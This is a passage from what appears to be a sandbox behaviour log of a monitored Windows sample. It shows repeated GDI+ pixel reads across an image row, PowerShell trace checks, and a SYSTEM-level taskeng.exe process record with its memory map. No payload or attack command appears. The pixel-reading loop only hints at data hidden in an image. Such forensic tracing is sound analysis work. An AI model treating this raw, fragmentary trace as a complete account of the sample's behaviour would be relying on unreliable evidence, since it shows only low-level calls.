pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.016] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.016] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.016] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.016] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=229, y=0, color=0x1c74cf80) returned 0x0 [0132.016] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.016] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.016] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.016] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.016] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=230, y=0, color=0x1c74cf80) returned 0x0 [0132.017] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.017] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.017] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.017] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.017] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=231, y=0, color=0x1c74cf80) returned 0x0 [0132.017] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.017] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.017] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.017] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.017] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=232, y=0, color=0x1c74cf80) returned 0x0 [0132.017] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.018] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.018] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.018] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.018] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=233, y=0, color=0x1c74cf80) returned 0x0 [0132.018] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.018] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.018] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.018] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.018] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=234, y=0, color=0x1c74cf80) returned 0x0 [0132.018] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.018] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.018] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.019] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.019] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=235, y=0, color=0x1c74cf80) returned 0x0 [0132.019] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.019] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.019] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.019] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.019] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=236, y=0, color=0x1c74cf80) returned 0x0 [0132.019] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.019] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.019] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.020] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.020] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=237, y=0, color=0x1c74cf80) returned 0x0 [0132.020] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.020] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.020] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.020] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.020] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=238, y=0, color=0x1c74cf80) returned 0x0 [0132.020] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.020] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.020] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.020] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.020] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=239, y=0, color=0x1c74cf80) returned 0x0 [0132.021] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.021] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.021] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.021] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.021] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=240, y=0, color=0x1c74cf80) returned 0x0 [0132.021] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.021] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.021] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.021] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.021] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=241, y=0, color=0x1c74cf80) returned 0x0 [0132.021] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.022] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.022] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.022] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.022] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=242, y=0, color=0x1c74cf80) returned 0x0 [0132.022] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.022] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.022] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.022] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.022] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=243, y=0, color=0x1c74cf80) returned 0x0 [0132.022] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.022] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.022] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.023] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.023] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=244, y=0, color=0x1c74cf80) returned 0x0 [0132.023] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.023] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.023] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.023] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.023] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=245, y=0, color=0x1c74cf80) returned 0x0 [0132.023] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.023] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.023] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.024] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.024] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=246, y=0, color=0x1c74cf80) returned 0x0 [0132.024] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.024] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.024] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.024] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.024] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=247, y=0, color=0x1c74cf80) returned 0x0 [0132.024] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.024] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.024] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.024] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.025] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=248, y=0, color=0x1c74cf80) returned 0x0 [0132.025] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.025] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.025] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0132.025] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0132.025] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=249, y=0, color=0x1c74cf80) returned 0x0 [0132.025] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0132.025] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0132.210] VirtualQuery (in: lpAddress=0x1c74c910, lpBuffer=0x1c74d7d0, dwLength=0x30 | out: lpBuffer=0x1c74d7d0*(BaseAddress=0x1c74c000, AllocationBase=0x1bdc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0132.368] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.369] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.369] CoTaskMemFree (pv=0x1b89c0a0) [0132.371] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.371] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.371] CoTaskMemFree (pv=0x1b89c0a0) [0132.388] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.388] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.388] CoTaskMemFree (pv=0x1b89c0a0) [0132.390] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.390] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.390] CoTaskMemFree (pv=0x1b89c0a0) [0132.394] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.394] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.394] CoTaskMemFree (pv=0x1b89c0a0) [0132.489] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.489] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.489] CoTaskMemFree (pv=0x1b89c0a0) [0132.490] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.490] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.490] CoTaskMemFree (pv=0x1b89c0a0) [0132.492] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.492] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.492] CoTaskMemFree (pv=0x1b89c0a0) [0132.508] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.508] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.508] CoTaskMemFree (pv=0x1b89c0a0) [0132.513] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.513] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.513] CoTaskMemFree (pv=0x1b89c0a0) [0132.536] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.536] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.536] CoTaskMemFree (pv=0x1b89c0a0) [0132.540] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.540] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.540] CoTaskMemFree (pv=0x1b89c0a0) [0132.554] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.554] CoTaskMemFree (pv=0x1b89c0a0) [0132.581] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0132.581] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0132.581] CoTaskMemFree (pv=0x1b89c0a0) [0133.273] CoUninitialize () Thread: id = 122 os_tid = 0x878 Thread: id = 123 os_tid = 0x880 [0127.479] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0127.483] ResetEvent (hEvent=0x364) returned 1 Thread: id = 126 os_tid = 0x874 Thread: id = 127 os_tid = 0x85c Thread: id = 128 os_tid = 0x888 [0133.344] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0133.345] SetThreadUILanguage (LangId=0x0) returned 0x7fffffa0409 [0133.346] VirtualQuery (in: lpAddress=0x1dd4dae0, lpBuffer=0x1dd4e9a0, dwLength=0x30 | out: lpBuffer=0x1dd4e9a0*(BaseAddress=0x1dd4d000, AllocationBase=0x1d3c0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0133.346] VirtualQuery (in: lpAddress=0x1dd4dd90, lpBuffer=0x1dd4ec50, dwLength=0x30 | out: lpBuffer=0x1dd4ec50*(BaseAddress=0x1dd4d000, AllocationBase=0x1d3c0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0133.353] SetEvent (hEvent=0x3fc) returned 1 [0133.353] SetEvent (hEvent=0x34c) returned 1 [0133.353] SetEvent (hEvent=0x3a0) returned 1 [0133.353] SetEvent (hEvent=0x3fc) returned 1 [0133.353] SetEvent (hEvent=0x34c) returned 1 [0133.353] SetEvent (hEvent=0x4b8) returned 1 [0133.353] SetEvent (hEvent=0x3a4) returned 1 [0133.353] SetEvent (hEvent=0x35c) returned 1 [0133.353] SetEvent (hEvent=0x360) returned 1 [0133.353] SetEvent (hEvent=0x36c) returned 1 [0133.353] CoUninitialize () Process: id = "9" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x32bcd000" os_pid = "0x350" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "taskeng.exe {D5B648EC-8873-4EB1-8718-83AFE8EDAD3B} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1543 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1544 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1545 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1546 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1547 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1548 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1549 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1550 start_va = 0xff2b0000 end_va = 0xff323fff entry_point = 0xff2b0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 1551 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1552 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1553 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1554 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1555 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1556 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1557 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1558 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1559 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1560 start_va = 0x50000 end_va = 0x51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1561 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1562 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1563 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1564 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1565 start_va = 0x3c0000 end_va = 0x47ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1566 start_va = 0x4b0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1567 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 1568 start_va = 0x650000 end_va = 0x7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 1569 start_va = 0x7e0000 end_va = 0xbd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1570 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1571 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1572 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1573 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1574 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1575 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1576 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1577 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1578 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1579 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1580 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1581 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1582 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1583 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1584 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1585 start_va = 0xbe0000 end_va = 0xc5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1586 start_va = 0xca0000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 1587 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 1588 start_va = 0xeb0000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 1589 start_va = 0xf30000 end_va = 0x102ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 1590 start_va = 0x1050000 end_va = 0x10cffff entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1591 start_va = 0x10d0000 end_va = 0x139efff entry_point = 0x10d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1592 start_va = 0x1430000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 1593 start_va = 0x7fef8120000 end_va = 0x7fef8128fff 